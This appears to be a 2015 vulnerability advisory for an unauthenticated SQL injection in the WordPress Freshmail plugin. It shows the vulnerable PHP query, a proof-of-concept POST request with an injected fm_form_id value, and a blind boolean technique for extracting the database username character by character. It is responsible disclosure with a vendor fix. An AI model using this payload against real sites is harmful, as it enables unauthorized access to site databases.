# Exploit Title: Unauthenticated SQL Injection on WordPress Freshmail (#1)
# Google Dork: N/A
# Date: 05/05/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: *http://freshmail.com/ <http://freshmail.com/>
# Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu)
# CVE : N/A
# Category: webapps
1. Summary
------------------
Freshmail plugin is an email marketing plugin for wordpress, allowing the
administrator to create mail campaigns and keep track of them.
There is a unauthenticated SQL injection vulnerability in the "Subscribe to
our newsletter" formularies showed to the web visitors in the POST
parameter *fm_form_id. *
2. Vulnerability timeline
----------------------------------
- 04/05/2015: Identified in version 1.5.8 and contact the developer company
by twitter.
- 05/05/2015: Send the details by mail to developer.
- 05/05/2015: Response from the developer.
- 06/05/2015: Fixed version in 1.6
3. Vulnerable code
---------------------------
Vulnerable File: include/wp_ajax_fm_form.php, lines 44 and 50
[...]
Line 28:add_action('wp_ajax_fm_form', 'fm_form_ajax_func');
Line 29:add_action('wp_ajax_nopriv_fm_form', 'fm_form_ajax_func');
[...]
Line 44: $result = $_POST;
[...]
Line 50: $form = $wpdb->get_row('select * from '.$wpdb->prefix.'fm_forms
where form_id="'.*$result['fm_form_id']*.'";');
[...]
3. Proof of concept
---------------------------
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <web>
X-Requested-With: XMLHttpRequest
[...]
Cookie: wordpress_f30[...]
form%5Bemail%5D=fake@fake.com&form%5Bimie%5D=asdf&fm_form_id=1" and
"a"="a&action=fm_form&fm_form_referer=%2F
4. Explanation
---------------------
A page visitor can submit an email (fake@fake.com) to subscribe to the
formulary with fm_form_id="1" and the JSON message received will be simil=
ar
to:
{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Your
sign up request was successful! Please check your email inbox.*"}
The second time he tries to do the same with the same email the message
returned will be:
{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Given
email address is already subscribed, thank you!*"}
If we insert *1**" and substr(user(),1,1)="a *we'll receive either the sa=
me
messageindicating that the Given email is already subscribed indicating
that the first character of the username is an "a" or a null message
indicating that the username first character is not an "a".
5. Solution
---------------
Update to version 1.6